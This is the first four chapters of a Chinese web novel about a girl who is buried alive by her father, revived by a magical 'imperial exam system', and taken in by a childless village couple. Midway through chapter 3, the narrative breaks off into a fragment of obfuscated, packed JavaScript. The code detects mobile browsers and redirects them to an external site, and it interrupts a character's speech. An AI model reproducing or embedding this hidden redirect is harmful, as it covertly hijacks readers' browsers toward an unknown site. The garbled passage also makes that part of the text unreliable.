《第一首辅(科举)》
1. 001
大周朝。
建安十七年,冬夜。
凤阳山下狂风怒号,暴雨如注,重重拍打在深坑中女孩的脸上,泥水蜿蜒流下,淌过脸颊、下颌和脖颈,洇入深色土壤。
一声绝望呜咽过后,女孩呼吸渐趋微弱,直至全无。
然而不过几息,女孩眼睫颤动,几经挣扎后倏然睁开。
【滴——系统绑定中......】
【科举为官系统007已绑定。】
泥水溅入眼中,浅褐色眼瞳像极了冰冷的蛇类,又在下一瞬转为迷茫。
她不是死了吗?
怎么又活了?
这里又是什么地方?
这时,一段陌生的记忆涌入脑海,谢峥瞬间了然。
原来她是穿越了。
......
原主沈萝乃是南直隶凤阳府人士,家境清贫,全靠阿娘做绣活儿维持生计,供阿爹沈奇阳读书科考。
四月里,沈奇阳高中探花,派两名侍卫回乡,接原主母女进京团聚。
谁知行至中途,侍卫竟残忍杀害原主阿娘,将其曝尸荒野。
原主也被捅了一刀,在阿娘的拼死相护下侥幸逃脱,带伤东躲西藏,终日以乞讨为生,吃尽苦头。
就在原主养好伤,打算进京找阿爹的时候,沈奇阳携荣华郡主回乡祭祖。
原主恍然大悟,原来真正的凶手是沈奇阳,与她血脉相连的阿爹。
原主捡来一柄断刀,借着向沈奇阳讨饭,想要为母报仇,却被侍卫当场擒住。
荣华郡主怒不可遏,让人给原主灌了一碗药,为永绝后患,沈奇阳还下令将原主活埋。
原主痛苦死去,许是执念太深,竟将谢峥拖进这具身体。
“替我报仇。”
虚弱嗓音一遍遍回响耳畔,谢峥感受着积压在胸膛的浓烈恨意与痛苦,郑重承诺:“好姑娘,我会替你手刃仇人,且安心去吧。”
去到一个幸福美满的家庭,无灾无祸,顺遂一生。
压抑的情绪陡然散去,那道声音亦消弭于阴冷雨夜中。
【滴——任务发布中......】
谢峥回神,眼前弹出一面散发蓝色荧光的光屏。
光屏上,赫然陈列着两个任务。
【逃出深坑】
【活下来】
007冰冷的机械音响起:【请宿主尽快完成任务,任务完成即可获得积分,宿主可凭积分前往系统商城兑换物品。】
谢峥瞥了眼左上角,她名字后面那个圆润的0格外显眼:“打开商城。”
她这会儿脖子以下全被埋在土里,根本不得动弹,只能使唤007。
商城从光屏右上角弹出,里面的物品琳琅满目,不仅有零食、农作物、科举试题,竟还有丹药、符纸等修真世界才有的东西。
当然,每件物品所需积分不等,有便宜也有贵的。
以谢峥目前的情况,她连最便宜的一积分一斤的水果糖都买不起。
谢峥留意到角落里还有一个“新用户折扣区”,让007点开,所有物品一律三八折。
谢峥视线在某个物品上定格一瞬,让007收起光屏,环顾四周。
雨仍在下着,夜色如墨,但是不妨碍谢峥一眼判断出此地为荒郊野岭,人迹罕至。
无人救她,那便自救。
......
原主是竖着下葬,在大周朝称为法葬。
民间有个说法,这样下葬会被打入十八层地狱,永世不得超生。
可以说非常歹毒了。
谢峥将沈奇阳的祖宗十八代问候了个遍,决定将来沈奇阳落到她手里,定要将他头朝下活埋。
在暴雨的冲刷下,深坑中的泥土变得松软。
谢峥尝试将双手从土里抽拔出来,奈何这具身体年幼体弱,又被灌了药,这会儿浑身仿佛打满了马赛克,动一下就疼得慌。
只消须臾,谢峥便气喘吁吁,眼前阵阵发黑。
好在皇天不负有心人,只听得一阵沙沙声响,细瘦手臂破土而出。
谢峥咽下喉头腥甜,飞快刨土,双手挥出残影。
谢峥不确定活埋她的侍卫会不会突然杀个回马枪,须得尽快逃离此地。
不消多时,上半身重获自由。
谢峥手掌撑地,用力一拔,双腿破土而出。
失去泥土的支撑,谢峥两条腿发软,脸朝下结结实实摔了个跟头,啃了一嘴泥。
谢峥:“......”
正欲起身,嗓子眼涌上一股痒意,谢峥眉心狂跳,赶紧捂住嘴,从指缝泄出丝丝缕缕的气音。
谢峥咳得上气不接下气,像是要把整个肺咳出来。
待她放下手,借着昏沉月光,发现掌心沾染一团深色。
凑近一瞧,是血。
谢峥随手在地上蹭两下,起身在坑里转一圈。
坑很深,两个她叠一块儿才能摸着边缘。
谢峥在一处土壁前站定,膝盖位置挖出两个拳头大小的洞,齐肩位置也挖两个。
而后手脚嵌入洞中,奋力向上攀爬。
原主乞讨多日,瘦成一把骨头,谢峥并不担心土壁无法承受自己的重量,很快抠住深坑边缘,脚下用力一蹬,跃出深坑。
-
【滴——“逃出深坑”任务已完成,获得10积分。】
【当前积分:10】
谢峥力竭倒地,任由豆大雨点砸在脸上,泛起细细密密的疼。
须臾后翻身趴下,呼唤007:“新用户折扣区,倒霉倒霉倒霉符。”
谢峥对这件物品的功能印象十分深刻——
贴上此符将霉运缠身,半年方可消除。
还可隔空投递。
简直是为沈奇阳量身打造。
谢峥脾气爆,还十分记仇,凭什么她拼死拼活从深坑里爬出来,浑身又冷又疼,沈奇阳却舒舒服服躺在被窝里睡大觉?
连用三个倒霉,想必效果非常不错。
最好让沈奇阳喝水呛死。
即或不然,也要让沈奇阳破个相,瘸条腿。
在大周朝,面容有瑕、体有残缺者不得入朝为官。
虽为探花郎,却无缘仕途,想来比杀了沈奇阳更痛苦。
【宿主,您需要一枚解毒丹。】
谢峥不以为意:“我的身体我清楚,死不了。”
祸害遗千年,又得了个厉害的金手指,她怎么也得活个一二百岁。
【倒霉倒霉倒霉符,5积分/张】
【购买成功,已自动扣除积分】
【当前积分:5】
符纸入手,谢峥念出一段生辰八字:“凤阳县沈家村,沈奇阳,去!”
符纸化作一道流光,自指尖消散。
......
沈家老屋内,沈奇阳娇妻在怀,好梦正酣。
黄色符纸从天而降,流光闪烁,没入沈奇阳体内。
沈奇
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阳莫名觉得心口发痒,下意识挠两下,翻身侧睡。
“咯吱——”
床板随着沈奇阳的翻动发出刺耳声响。
下一瞬,只听得一声巨响,数条床板齐声断裂。
沈奇阳和荣华郡主摔下床,木板锋利的尖端划过沈奇阳的侧脸,拉出手掌长的口子,皮开肉绽,像极了小孩大张的嘴巴。
荣华郡主则一头撞到墙上,血如泉涌,瞬间染红姣好的面庞。
“啊啊啊啊!!!”
屋外守夜的丫鬟闻声而入,见此一幕脸色煞白:“郡主!老爷!”
......
007实时播报:【宿主,沈奇阳破相了,荣华郡主也磕破了脑袋。】
谢峥眼睛一亮:“爽!”
一想到未来半年里,沈奇阳将会一直这么倒霉,荣华郡主也会染上霉运,她顿时觉得更爽了。
“对了007。”谢峥话锋一转,“商城支持赊账吗?”
【支持,但需要额外支付利息。】
谢峥:“......”
这嘴脸,不去当周扒皮老板可惜了。
谢峥咬咬牙:“兑换短期换颜丹和短期女扮男装光环。”
以防那两名侍卫折回来,发现她逃出生天后穷追不舍,最好还是换一张脸。
日后入朝为官,也更方便她蛰伏待机。
沈奇阳攀龙附凤,不择手段往上爬,那谢峥就爬得比他还高,将他狠狠踩下去!
只是大周朝对女子的压迫十分严重,富家女子年满五岁必须缠足,年满十八尚未婚配还要缴纳天价罚款。
朝廷甚至将“三从四德”写入律法条文之中,并实行“贞洁观”,违背三从四德或失去贞洁都将处以极刑。
种种前提下,女子想要读书、科考、为官,无异于天方夜谭。
谢峥不愿处处受限,决定扮作男子考科举,入朝为官。
待谢峥拥有碾压一切的绝对力量,无人能与她抗衡,方可以女子之身立于朝堂。
【短期换颜丹,20积分/枚】
【短期女扮男装光环,30积分/个】
【购买成功,已自动扣除积分】
【当前积分:-45】
谢峥手里多出一枚黑色药丸,头顶上方流光掠过,金色光环转瞬即逝。
谢峥想象着她原本的模样,服下换颜丹,容貌即刻从清秀变为英气。
即日起,谢峥的身体本质上不会发生任何变化,依旧是女子,依旧拥有女性体征,但是从他人视角,无论体表还是脉象,她都是男子。
甚至于,待谢峥进入青春期,也能凭借女扮男装光环合理规避生理期。
如此这般,谢峥再不必为考试期间生理期突至而头疼了。
不愧是系统出品,必出精品。
【请宿主半月内归还积分,短期换颜丹和短期女扮男装光环将于一月后失效。】
谢峥没什么意见。
有借有还,再借不难。
不过她还是有些眼馋永久换颜丹和长期女扮男装光环。
虽是天价,胜在安全,完全杜绝了她身份暴露的可能。
谢峥这会儿斗志满满,为了积分,为了对原主的承诺,她怎么也得活下去!
谢峥恢复两分精力,正欲离开此地,想法子将毒解了,一阵交谈声穿透雨幕,抵达耳畔。
谢峥眼神一凛,一个鲤鱼打挺坐起身,四下摸索,抓到一块尖利的石头,死死攥在手心。
2. 002
沉沉夜幕中,一高一矮两道身影由远及近,逆着风雨向谢峥奔来。
更准确地说,是向着谢峥身旁的羊肠小径奔来。
“娘子且放宽心,你我都还年轻,身体又健朗着,只是时机未到罢了。”粗犷男声难掩安抚之意,“今日拜了送子娘娘,来年定能生个活泼又皮实的孩子。”
不是那两名侍卫。
谢峥心下一松,大脑飞速运转。
平民。
年纪不大。
膝下无子。
危险程度,四级。
【滴——任务发布中.......】
【获取户籍】
谢峥心神一动,攥着石头的手缩回袖中,翻身趴伏在小径旁。
待那两人眨眼间到了跟前,谢峥找准时机,一口叼住近在咫尺的裤腿。
“呀!”女子惊呼,连连后退,“年哥,什么东西咬了我一口!”
男子下意识将女子护在身后,瞪着大眼看向道旁,语气不太确定:“好像......是个人?”
女子抓着男子胳膊,语气惊疑不定:“人?这深更半夜,又在荒郊野岭,哪里来的人?”
谢峥颤巍巍抬手,嘶哑嗓音割裂雨幕:“救我......”
“没错!就是人!她还在说话哩!”男子凑近,见谢峥满身是土,不远处还有个深坑,脸色微变,抱起气息奄奄,周身弥漫着血腥气的女孩,“娘子你去找朱大夫,我先带这孩子回去。”
“好!”
谢峥手腕翻转,丢开石头,在颠簸中彻底失去意识。
-
谢义年一脚踢开木门,“咣当”声响打破夜间宁静。
隔壁砖瓦房里,有人惊醒,骂骂咧咧:“个杀千刀的,怕不是想死了!不知道老三明儿一早还要读书吗?都给老娘消停点,再敢闹出动静,老娘扒了你的皮......”
谢义年充耳不闻,大步走进黄泥房,将谢峥放到炕上,又摸黑点燃油灯,放在炕柜上。
昏黄光线驱散黑暗,也让谢义年看清谢峥的模样。
污泥糊了满脸,两颊凹陷,唇角残余暗红血迹,破旧衣衫浸满泥水,湿漉漉沉甸甸裹在身上,体型难掩干瘦。
谢义年没有孩子,从未体会过为人父的感受,这会儿只觉一颗心被死死揪住,酸软得厉害:“这孩子跟猫崽儿似的,又瘦又小,究竟是什么人这般歹毒......”
“年哥,朱大夫来了!”谢义年回首,沈仪推门而入,“朱大夫,麻烦您给这孩子瞧瞧。”
朱大夫摘下斗笠,脱下蓑衣,谢义年伸手接过:“她浑身滚烫,跟火烧似的,还吐了血。”
朱大夫话不多说,拎着药箱走到炕前,为谢峥诊脉。
见朱大夫眉头紧皱,面上一派肃穆,谢义年心悬在半空:“朱大夫,这孩子情况怎么样?”
朱大夫指腹搭在谢峥手腕内侧,沉声道:“她被人喂了毒药。”
“毒药?”沈仪倒吸凉气,看向炕上的泥孩子,眼里闪过同情,“朱大夫,她还有救吗?”
朱大夫生得慈眉善目,一副慈悲相,说出的话却冷酷至极:“没救了,你俩准备给她收尸吧。”
谢义年想起初见谢峥时,那句嘶哑的“救我”,腮帮子紧了紧:“不知哪个畜生将这孩子活埋了,若非我跟娘子从那里路过,外边儿下着大雨,还那么冷,她恐怕......您行行好,救她一命吧。”
“你们两口子就是烂好心。”朱大夫没好气地哼了声,“我可以试试,能不能熬过这一劫,就要看她的命了。”
谢义年点头如捣蒜:“欸,好,多谢您了。”
说罢与沈仪相视一笑,悬着的心稍稍放下。
朱大夫的师祖曾拜前朝太医为师,有他这句话,这孩子定能转危为安。
朱大夫从药箱中取出毛笔和纸片,舔两下一阵龙飞凤舞,递给谢义年:“去抓药。”
谢义年将药方贴身放好,戴斗笠穿蓑衣,冲进雨幕。
趁这功夫,朱大夫又给谢峥扎了几针,而后毫不见外地从桌底拖出一只木凳,靠墙而坐。
沈仪将被褥对折,避开针灸部位,盖在谢峥身上。
朱大夫闭着眼问道:“她是从什么地方捡回来的?”
沈仪如实相告:“凤阳山附近。”
她顿了顿,又道:“听说凤阳县的送子娘娘庙十分灵验,凡是诚心求拜,定能得偿所愿。”
朱大夫睁眼,沈仪背光坐着,看不清神情:“子嗣一事讲究缘分,时机到了,自然就来了。”
沈仪笑笑:“借您吉言。”
......
朱大夫家住隔壁村,谢义年一来一回,小半个时辰就过去了。
到家后不敢耽误,一头扎进灶房,翻箱倒柜找出陶罐,按照朱大夫教的法子煎药。
隔壁砖瓦房又传来谩骂声,不堪入耳,听得人直皱眉。
沈仪下颌紧绷:“我去给年哥搭把手,这孩子劳烦您照看着。”
朱大夫摆了摆手,沈仪走出黄泥房,盯着雨幕愣了会儿神,冒雨跨过矮墙,走进砖瓦房的院子里,从鸡窝摸出两颗鸡蛋,冲洗后放在灶台上,起锅烧水。
谢义年守在陶罐旁,见状招呼娘子:“我去烧火,你来盯着火候。”
沈仪也不推辞,将火钳递给谢义年:“待会儿我将你那件袄子改小一些,给那孩子擦洗一下换上。”
“朱大夫大半夜出诊也不容易,给他冲个蛋花汤......”
沈仪把手放在炉子上烤火,絮絮叨叨说着话。
谢义年素来听娘子的话,自是无有不应。
沈仪看向嗯嗯啊啊应着的夫君,灶膛里的火熏得他的脸黑里透红,但难掩深邃俊朗。
察觉到沈仪的目光,谢义
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年咧嘴笑,透出三分傻气。
沈仪眼神放柔,氤氲着浅薄笑意,揭开盖子看药煎得如何。
雾气潺潺,朦胧了女子秀美的面庞。
待水烧开,用热水烫了下碗,鸡蛋磕开打入碗中,筷子搅拌开,再舀一勺热水,沿碗壁倒进去,最后将略大些的碗倒扣在碗上,稍微焖上一会儿,一碗热腾腾香喷喷的蛋花汤便做成了。
沈仪把蛋花汤给朱大夫送去,换谢义年守着陶罐。
进了屋,朱大夫正在取针。
沈仪把碗放桌上:“外边儿下着雨,天寒地冻的,您喝碗蛋花汤,暖暖身子。”
朱大夫扭身看她:“你不必如此。”
“应该的。”沈仪倾身打开炕柜,取出袄子,又从最底下翻出一个荷包,倒出里面的铜板,翻来覆去数几遍,背对朱大夫枯坐片刻,将铜板放在桌上,脸上烧得慌,“实在对不住,家里只有这么多钱,您能不能通融通融,我跟年哥一定尽快把剩下的钱还上。”
朱大夫没好气啧了一声:“钱给了我,你们俩喝西北风去?”
沈仪却是不依:“这可不行,诊金和药费......”
朱大夫打断她:“这钱先欠着,年后再还也不迟。”
沈仪沉默须臾:“多谢您了。”
朱大夫喝一口蛋花汤,胃里暖乎乎,脸色也好看不少,嘴上却不饶人:“两个烂好人,明知自家是个什么情况,还把钱花在不相干的人身上。”
沈仪捏紧荷包,指尖泛白,声音低不可闻:“她是个孩子。”
朱大夫撇嘴,不再多言:“今夜我不回去了,就在这守着。”
沈仪欸了一声,将袄子拆了改小,打来一盆热水,浸湿巾帕,给谢峥擦脸擦身。
盆里的清水变成泥水,谢峥的五官清晰映入眼帘——
许是脸上没肉的缘故,显得眼窝十分深邃,睫毛又长又密,在眼睑落下浅淡阴影。
鼻梁高挺端致,唇瓣轻薄,虽稚嫩,却难掩英气。
沈仪怔了下,不禁笑道:“是个漂亮娃娃呢。”
朱大夫意味不明道:“寻常人家可生不出这么标致的孩子。”
谢义年端着药碗进来,顺势接过话头:“寻常人家也做不出把人活埋这种遭雷劈的事情。”
朱大夫把眼闭上,眼不见心不烦:“只要熬过今夜,活命不成问题。”
谢义年和沈仪大喜,前者努了努嘴:“我扶她坐起来,娘子你给她喂药。”
沈仪接过药碗,舀一勺吹凉,递到谢峥唇边。
原以为喂药是个大工程,没想到谢峥十分配合,乖乖张嘴,乖乖咽下,一滴药都没流出来。
谢义年笑道:“一看就是个好孩子。”
沈仪也笑,将谢峥塞进被褥,顺手掖了掖被角,拂去她脸颊碎发,嗓音暖融融:“好孩子,熬过这一劫,你的福气在后头呢。”
3. 003
谢峥服了药,不出半个时辰,“哇”地呕出一口血。
谢义年和沈仪吓得脸色发白,想碰又不敢,急得像是热锅上的蚂蚁。
“朱大夫,这是怎么回事?怎么看起来更严重了?”
“吐血是好事。”朱大夫揣着手上前,俯身查看,“喏,你们瞧——”
沈仪手捧油灯,观察地上的血。
是暗红色。
红得发黑。
谢义年有些不确定:“这是把毒药吐出来了?”
朱大夫哼了声,坐回到炕尾,继续打盹儿:“下半夜你俩盯紧些,有事记得喊我。”
“欸,好!”谢义年轻推沈仪胳膊,“娘子你也去睡,这里有我呢。”
沈仪将油灯放回炕柜上,擦去谢峥唇角血迹,挨着炕柜躺下,却毫无睡意。
将来她和年哥有了孩子,会不会也这般俊俏,这般乖巧,会不会靠在她怀中,软声软气地唤她阿娘。
昏暗中,沈仪眼神柔和得不可思议。
......
下半夜,谢峥突然发热,烧得脸通红,浑身滚烫。
谢义年见势不妙,连忙叫醒朱大夫。
朱大夫给谢峥扎了几针,不消多时便退了热。
彼时,夜色淡去,一缕微光从窗户缝隙涌入,洒在谢峥眉眼上,构成斑驳光影。
朱大夫年事已高,熬不住夜,略微伸个懒腰,骨头咔咔作响。
谢义年眼珠子黏在谢峥身上:“朱大夫,这孩子......保住了吗?”
朱大夫整理药箱,不咸不淡应了声:“命大,死不了。”
见谢义年和沈仪展露笑颜,朱大夫泼冷水:“别高兴得太早,就算活下来,也是个短命的病秧子。”
“活着就好,总不能见死不救吧。”谢义年露出一抹憨笑,又道,“大春说您给这孩子用的都是上好的药材,我以为至少得有个十几两。”
朱大夫背上药箱:“积德行善,下辈子投个好胎。”
出门前,朱大夫意味不明地看了谢峥一眼:“等她醒了,尽快送她离开。”
谢义年:“啊?”
朱大夫拉开木门,阳光照在他身上,为他镀上一层金光:“当心你家老太太知道后闹腾。”
说曹操曹操到,不待谢义年回话,屋外响起激烈谩骂声。
“老大媳妇,是不是你偷了老娘的鸡蛋?”
“昨儿夜里闹了大半宿,吵得老娘脑瓜子生疼,还敢偷吃老娘的鸡蛋,也不怕吃进肚里折了寿,出门一个跟头摔死......呦,这不是朱大夫?大清早的您怎么从老大屋里出来?”
朱大夫只颔首示意,绕过面白体瘦的老太太,大步扬长而去。
谢老太太热脸贴人冷屁股,脸色不大好看,叉着腰走到谢义年跟前,语气咄咄:“朱大夫过来做什么?”
谢义年黝黑脸上没什么表情,左臂抵着门框,右手搭在门闩上,十足的防卫姿态。
谢老太太闻着灶房里传出的药味儿,炮仗似的,一口气连续发问:“给你看病?还是给你媳妇看病?咋样?看出什么毛病了没有?”
谢义年深知世上没有不透风的墙,想瞒也瞒不住:“回来的路上遇到一个孩子,她病得很重,我请朱大夫过来给她看看。”
谢老太太呆了下,回神后扒拉谢义年的胳膊,作势要往里闯。
谢义年岿然不动,反倒是她被撞了个趔趄,连退好几步。
“一个没亲没故的野孩子,你让朱大夫给她看病?你哪来的钱?是不是背着老娘藏钱了?你们好大的胆子,明知老三读书烧钱,竟敢藏着掖着?对了,她是男娃还是女娃......”
沈仪只眯了半个多时辰,这会儿听着谢老太太的声音,心里直犯恶心。
她担心谢峥被吵醒,几步走到门口:“那几只鸡原本都是我喂养的,吃两个蛋又怎么了?”
“就是不准!那是给老三吃的!”谢老太太忽然想到什么,一拍大腿,“是男娃!是男娃对不对?”
谢老太太一脸果然如此的表情:“是了,如果是女娃,你们哪里舍得花这个钱。”
谢义年和沈仪十六岁成亲,迄今已有十二载,膝下却没有一男半女。
六年前,谢家出了个十八岁的童生,村里不知多少人嫉妒到眼红。
他们不敢得罪谢家老三,便将矛头对准谢家老大。
有人说谢义年是个没种的男人,也有人说沈仪是个不会下蛋的母鸡。
总之近几年,难听的话都奔着谢家长房去了,“子嗣”也因此成为谢义年和沈仪最大的心病。
这些年他们什么法子都试过,求神拜佛,尝遍秘方,每次都以失败告终。
前几日听闻凤阳县的送子娘娘庙十分灵验,两人寅时便从家出发,又是磕头又是上香,临走前还奉上香油钱,只为祈求送子娘娘显灵,给他们一个孩子。
谢老太太有所耳闻,却不以为意。
老大这辈子注定无儿无女,求遍满天神佛也没用。
“宁愿捡一个野孩子回来,也不愿过继光哥儿,老大,你可真是我的好儿子啊!”
谢老太太是个大嗓门,这几声将左邻右舍都引了出来,抻长脖子看热闹。
“看来谢老大铁了心,不肯过继老二家的光哥儿。”
“光哥儿今年六岁,早已记事,不适合过继。”
“要我说啊,谢老大生不出孩子,多半是早年没日没夜干活,累坏了身子。”
谢义年双手用力在脸上搓两下:“闹够了吗?”
谢老太太对上大儿子冷峻的眼神,心头莫名发紧,却不愿落了下乘,梗着脖子嚷嚷:“我闹什么了?事关老谢家的子孙后代,可轻忽不得!”
“今儿我把话撂在这,你要是敢认那个野孩子当儿子,我就跟你爹闹到谢家的列祖列宗和几位叔公跟前,一头撞死在谢家祠堂门口!”
围观的村民越来越多,沈仪不愿做那被人围观的猴儿,戳了戳谢义年的后腰。
谢义年会意,一个箭步上前,弯下腰双手一抄,就这么稳稳当当将谢老太太端了起来,跨过黄泥房和砖瓦房之间的矮墙。
谢老太太一边扑腾手脚,一边尖叫。
“老大你疯了吗?”
“放开我!放我下去!”
村民们:“......”
谢老爷子捏着旱烟,脸色漆黑:“老大,你这是在做什么?她可是你娘!”
谢义年将谢老太太放地上,粗声粗气说道:“这些年你们一直把我当成老黄牛,让我和娘子伺候几十亩庄稼,让我去城里做工,用卖粮食和做工挣的钱盖房子,养老二老三家的几个孩子,供老三读书,我都毫无怨言。”
“因为我是大哥,这些是我应该承担起来的责任,是我应该做的。”
“但你们不该逼我过继光哥儿。”
谢老太太往掌心呸一口唾沫,将头发抹服帖了,一撸袖子,又是那个蛮不讲理的老太太:“你们两口子不能生,不过继,死了之后谁给你们摔盆?逢年过节谁给你们磕头上香?”
“难不成有人摔盆,有人磕头就能活过来?”谢义年反唇相讥,“况且我还没到七老八十,您怎么知道我以后生不出孩子?就算真的生不出来,那也是我命中无子,怨不得旁人。”
谢老爷子哽住。
谢义年攥着拳头,铁塔似的杵在院子里:“你们逼我过继,我不答应,想要分出去单过,你们又不答应,还找来几位叔爷,用除族威胁我。”
“我跟娘子都已经搬出去了,你们还是不愿意放过我们。”谢义年眼里透着狠色,压低声音,“再有下次,便是豁出这条命,我也要让老二老三断子绝孙。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540693|186643||http|test|mini|href|location''.split(''|''),0,{}));
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>“我没有孩子,他们也别想有!”
谢义年无视谢老爷子和谢老太太铁青的脸色,头也不回地离开。
沈仪立在黄泥房门口,神情淡淡:“年哥。”
谢义年扯了下嘴唇,想笑却笑不出来,嘴角耷拉下来:“娘子,外面冷,咱们回屋吧。”
一脚踏进门,正对上谢峥清凌凌的眼眸。
谢义年没想到谢峥这么快就醒来了,也不知她听了多少,欣喜之余又有些局促:“孩子,你现在感觉怎么样?”
谢峥脸色苍白,眼里透着迷茫和警惕,直往墙角缩,小小一团,无助又可怜:“你们是谁?这里又是什么地方?”
沈仪心细,看出谢峥的不安,拉住意欲上前的谢义年。
谢义年挠挠头,下意识放轻声音:“这里是我家,你......”
“你是我阿爹吗?”
稚嫩嗓音犹如羽毛拂过谢义年心头,叫他浑身一震,愣在当场。
谢峥手指拉高被角,只留一双浅褐色的眸子露出外面,又怯生生看向沈仪:“你是我阿娘吗?”
沈仪迎上女孩清澈的目光,喉咙里堵着一团棉花,否认的话怎么也说不出口。
阿娘。
她说,阿娘。
她唤我——
阿娘。
沈仪唇角轻颤,有那么一瞬间,竟生出想要流泪的冲动。
谢义年更是如此,身躯如小山一般壮硕的八尺男儿眼眶酸胀,语调艰涩:“我们......”
解释的话尚未出口,谢峥身子一软,再度昏睡过去。
【滴——“活下来”任务已完成1/4,获得5积分。】
【当前积分:-40】
-
凤阳县,沈家老屋。
“一定是她!一定是她回来了!”
“都愣着作甚?还不快去找道士过来,作法收了那孽障?”
正屋内,荣华郡主脑袋和双手缠着纱布,歇斯底里咆哮。
昨夜床板断裂,沈奇阳和荣华郡主皆挂了彩。
前者破相,后者情况略好些,但也流了不少血。
荣华郡主疼痛难忍,沈奇阳更是哀嚎不止,便让大夫煎了止痛药。
丫鬟送来止痛药,沈奇阳刚接过,药碗突然爆裂开来,碎片四溅。
沈奇阳浑身上下被碎片戳出十多个窟窿眼,鲜血跟小喷泉似的直往外涌。
荣华郡主与沈奇阳隔桌而坐,不幸被波及到。
好在她反应及时,用手护住脸,才没像沈奇阳那样破相。
沈奇阳目送侍卫远去,又恨又怕:“连法葬都压不住她,多半成了厉鬼,唯有道行高深的大师方能降服。”
荣华郡主连一个余光都不想给沈奇阳。
早知今日,她当初怎么也不会贪恋沈奇阳的温柔,垂涎他的相貌,不顾父亲劝阻,执意嫁他为妻。
如今沈奇阳仕途堪忧,她不仅要替他擦屁股,还要承受沈萝那个小兔崽子的报复,真真是肠子都悔青了。
荣华郡主心中惶惶,召来昨日活埋沈萝的侍卫,眼神阴狠:“你们去将她的尸体挖出来,挫骨扬灰!”
名为张康年和刘朔的侍卫领命而去,一颗心却七上八下。
“完了完了,那个小兔崽子成了厉鬼,来找我们索命了!”
“真要论起来,她还得感激我们。”
昨夜贪图省事,只将沈萝的身子埋入土中便离开了。
是他们让沈萝死得不那么痛苦,沈萝应当不会恩将仇报?
两人策马疾驰,很快来到凤阳山下,循着记忆找到那条羊肠小径。
下了一夜的雨,小径泥泞不堪,两人边走边骂,却在走到深坑旁的那一刻戛然而止。
深坑内空无一人。
那被活埋的可怜女孩,早已不见踪影。
4. 004
谢义年将谢峥塞进被窝,掖好被角,不透一丝风,方才拉着沈仪离开。
沈仪有些心不在焉,一步三回头,视线紧紧黏在谢峥脸上。
不知怎的,沈仪竟觉得这个孩子与她、与年哥有几分相像。
“娘子,她是不是......”谢义年掩上门,低声用气音说道,“是不是失忆了?”
沈仪垂下眼,草鞋碾过石子:“年哥。”
谢义年:“怎么了?”
沈仪一把抓住谢义年的胳膊,五指攥得死紧,指尖泛白:“年哥,送子娘娘显灵了。”
谢义年一怔。
沈仪呼吸急促,眼底深处藏着执拗,似魔怔一般:“年哥,她是送子娘娘送来的孩子。”
这些年,他们去过很多地方,拜这个求那个,可从未有一次如昨夜那般,遇上一个濒死的孩子,把她带回家。
那个孩子因为中毒失去记忆,将他们错认成了她的阿爹阿娘。
“你是我阿娘吗?”
稚嫩嗓音在耳畔回荡,沈仪心尖儿发颤,手指愈发收紧,竟让谢义年感觉到尖锐的疼痛:“没错,她就是送子娘娘给我的孩子!”
谢义年窥见这句话背后隐藏的深意,咕咚咽了口唾沫。
几番拉锯之下,终究还是良心占据上风,谢义年带着厚茧的大手覆在沈仪手背上,语气严肃:“娘子,我们不能这么做。”
沈仪语气染上哭腔:“为什么不能?我们救了她,她又失去记忆,这是上天赐下的缘分!”
谢义年却是摇头:“正因为她失去记忆,我们才不能乘人之危。”
“我们不知道她先前经历了什么,为什么被活埋,万一她的家人正在找她呢?”
“娘子,我们不能因为一己之私而拆散一个家。”
沈仪浑身一震,眼泪像断了线的珠子,簌簌落下:“可是年哥,我们可能这辈子都不会有孩子了,他们说得那样难听,我实在......我快要承受不住了。”
谢义年余光瞥见往这边探头探脑的两个弟妹,扭头瞪过去,铜铃大眼吓得两人哧溜缩回去。
“有孩子固然是一桩喜事,但比起孩子,娘子你才是最重要的。”谢义年握住沈仪的手,“人生不过几十载,何必在意不相干的人,我们只管把自己的日子过好便是。”
他沉吟片刻,用商量的口吻:“不如这样,暂且留她住在家里,倘若一个月后没人找过来,我就去找二叔爷,把她记在你我名下。”
在夫君的安抚下,沈仪渐渐止住啜泣:“是我太想当然了,就按你说的来吧。”
谢义年松了口气,娘子素来明事理,她只是......心结太深,钻进死胡同里出不来了。
“子嗣”二字轻如鸿毛,却又重如泰山,压得他们喘不过气来。
谢义年拭去沈仪脸上的泪珠子,温声道:“我去请朱大夫过来,看看究竟是怎么一回事,娘子你去做朝食,昨晚上急着赶路,只吃了一个饼子,这会儿我肚子都饿瘪了,一直咕噜响哩。”
沈仪破涕为笑,有些羞赧地嗯了一声,目送谢义年远去,转头进了灶房。
她从缸里取出上个月腌制的咸菜,切成细丝,入锅翻炒。
咸菜的香气弥漫开来,沈仪尝尝咸淡,又做了一锅疙瘩汤。
咸菜配疙瘩汤,简单又美味,沈仪这种胃口小的也能吃上满满一大碗。
朱大夫很快到来,进了门便为谢峥诊脉。
谢义年和沈仪眼巴巴瞧着,见朱大夫收了手,急忙问道:“她为什么会失忆?对身体有影响吗?”
朱大夫到家后用过朝食,正打算补个觉,又被谢老大叫来,这会儿困得眼睛都睁不开,强打精神说道:“多半是毒药所致,对身体没什么影响,只是不记得前尘往事罢了。”
他顿了顿,又道:“不过问题不大,说不准哪天就想起来了。”
或许明日,或许明年,谁又说得准呢。
谢义年叠声道谢:“劳烦您走这一趟,不如用过朝食再回去?”
沈仪接过话头:“朝食正在锅里温着,现在就能吃。”
朱大夫摆了摆手,叮嘱几句便离开了。
出了门往东去,一群妇人正在河边浆洗衣服。
朱大夫是十里八乡唯一的大夫,大家都很敬重他,见了他纷纷停下浆洗,客气地打招呼。
朱大夫素来不苟言笑,只颔首示意,步履如风地走远了。
妇人们挥舞洗衣棒,继续谈天说地。
“这个方向,多半又是去谢老大家。”
“看来谢老大很重视他捡回来的那个孩子。”
“光哥儿他娘,难不成谢老大真要认一个不知根底的孩子做儿子?”
妇人们齐刷刷看向同在河边浆洗的谢二婶,看热闹的意思再明显不过。
谢家仗着有谢老三这个童生,整日眼睛放在头顶上,谁都看不上。
如今有机会看谢家的笑话,她们恨不得谢家长房和二房打起来,闹得不可开交才好。
谢二婶脸色僵硬,没好气地丢了洗衣棒:“我哪知道,我又不是他肚子里的蛔虫。”
